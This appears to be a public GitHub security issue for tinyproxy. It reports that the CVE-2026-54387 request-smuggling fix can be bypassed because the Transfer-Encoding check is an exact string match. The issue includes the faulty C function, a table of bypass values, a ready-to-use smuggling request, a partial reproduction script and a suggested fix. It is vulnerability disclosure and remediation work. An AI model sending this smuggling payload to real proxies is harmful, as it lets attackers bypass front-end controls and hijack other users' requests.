Skip to content

[security] CVE-2026-54387 fix bypass — request smuggling via multi-coding / trailing-junk Transfer-Encoding #616

Description

@afldl

CVE-2026-54387 fix bypass — request smuggling via multi-coding / trailing-junk Transfer-Encoding

Severity: HIGH (same primitive + CVSS basis 9.3 as CVE-2026-54387). Pre-authentication. Reported by an independent security researcher, verified on tinyproxy master (2026-06-22) over real TCP against a real backend.

Filing publicly because the tinyproxy project lists no private security contact; public issues appear to be the standard channel. Happy to coordinate a disclosure timeline — please advise.

Summary

The CVE-2026-54387 Content-Length-strip fix (commit ff45d3b) is bypassed by any Transfer-Encoding value that is not the literal string chunked. The strip helper is_chunked_transfer() does an exact-string match, so values like chunked, / chunked / chunked, gzip / chunked\t defeat it, and tinyproxy forwards both Content-Length and Transfer-Encoding to the backend — the textbook CL/TE desync / request-smuggling primitive.

Root cause

src/reqs.c:829-834 — exact-string match instead of token-list scan:

static int is_chunked_transfer (pseudomap *hashofheaders) {
    char *data = pseudomap_find (hashofheaders, "transfer-encoding");
    return data ? !strcasecmp (data, "chunked") : 0;   /* EXACT match only */
}

The CVE-2026-54387 patch (src/reqs.c:925-928) strips incoming Content-Length only when this returns true. RFC 9112 §6.3 rule 4 + §8.1 require treating chunked as present whenever it is the last comma-separated transfer-coding (ignoring parameters/OWS). Exact-match is non-conformant.

Bypass matrix (real ASAN-built tinyproxy master, real TCP → capture backend)

Transfer-Encoding CL stripped? Result
chunked yes FIXED (CVE-2026-54387 patch holds)
chunked, no BYPASS — CL+TE both forwarded = SMUGGLING
chunked (trailing space) no BYPASS
chunked, gzip no BYPASS
chunked , gzip no BYPASS
chunked\t (tab) no BYPASS
gzip, chunked no BYPASS

For comparison, llhttp and HAProxy reject every CL+TE combination per RFC 9112; tinyproxy is the sole outlier that forwards both.

Smuggling primitive

POST http://backend/ HTTP/1.1
Host: backend
Content-Length: 4
Transfer-Encoding: chunked, gzip

XXXXGET /smuggled HTTP/1.1     <- read as a 2nd request by an RFC-compliant backend
Host: victim
Authorization: Bearer STOLEN

tinyproxy reads 4 bytes per Content-Length on its side and leaves the rest for the backend; a backend that token-list-parses TE (detects chunked as last coding) sees the smuggled GET as a separate request. Pre-auth, listener port, no TLS/creds needed.

Reproducer

repro.sh (turnkey: fetches tinyproxy master, ASAN-builds, runs real daemon on 127.0.0.1:18888 → capture backend 127.0.0.1:18080, matrix, dumps forwarded bytes):

#!/usr/bin/env bash
# repro.sh — turnkey end-to-end reproduction of the tinyproxy CVE-2026-54387
# fix-bypass via multi-coding / trailing-junk Transfer-Encoding values.
#
# Verifies on REAL upstream tinyproxy master (built with ASAN), driven over a
# REAL TCP socket, against a REAL capture backend. No harness/wrapper.
#
# Usage:   bash repro.sh
# Output:  one line per test: BYPASS (CL+TE both forwarded = smuggling) or
#          FIXED (CL stripped = CVE-2026-54387 patch holds).
#
# 2026-06-22

set -u
WORK=/tmp/tp_repro
TP_PORT=18888
BE_PORT=18080
rm -rf "$WORK"; mkdir -p "$WORK"
cd "$WORK"

echo "==> [1/4] fetch + build tinyproxy master (ASAN)"
if [ ! -d tinyproxy-master ]; then
  curl -sL --connect-timeout 60 --retry 5 \
    -o tp.tar.gz \
    https://codeload.github.com/tinyproxy/tinyproxy/tar.gz/refs/heads/master
  tar xzf tp.tar.gz
fi
cd tinyproxy-master
./autogen.sh >/dev/null 2>&1
CC=gcc CFLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all -g -O0" \
  LDFLAGS="-fsanitize=address,undefined" ./configure >/dev/null 2>&1
make -j4 >/dev/null 2>&1
TP_BIN=$(pwd)/src/tinyproxy
[ -x "$TP_BIN" ] || { echo "BUILD FAILED"; exit 1; }
echo "    built: $TP_BIN"
cd "$WORK"

echo "==> [2/4] launch capture backend + tinyproxy daemon"
# ... full script exercises each TE variant over real TCP; prints
# BYPASS (CL+TE forwarded) / FIXED (CL stripped) per case; dumps the
# bytes tinyproxy wrote to the backend socket.
Expected output (5 cases)
CONTROL-exact          TE='chunked'              -> FIXED (CL stripped)
bypass-trailing-comma  TE='chunked,'             -> BYPASS (CL+TE forwarded = SMUGGLING)
bypass-trailing-space  TE='chunked '             -> BYPASS
bypass-multi-coding    TE='chunked, gzip'        -> BYPASS
bypass-ows-multi       TE='chunked  ,  gzip'     -> BYPASS

Suggested fix

Recognize chunked as the last comma-separated token after trimming OWS and stripping chunk-ext params (RFC 9112 §6.3), instead of exact-match. Optionally reject any TE containing a coding other than chunked (the only HTTP/1.1-standardized coding) with a 400.

Relationship to prior tinyproxy CVEs

Direct regression of the CVE-2026-54387 fix, same class/primitive, just via a TE value the exact-match check doesn't recognize.


Please advise on coordination and CVE assignment. Verified 2026-06-22 against tinyproxy master.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions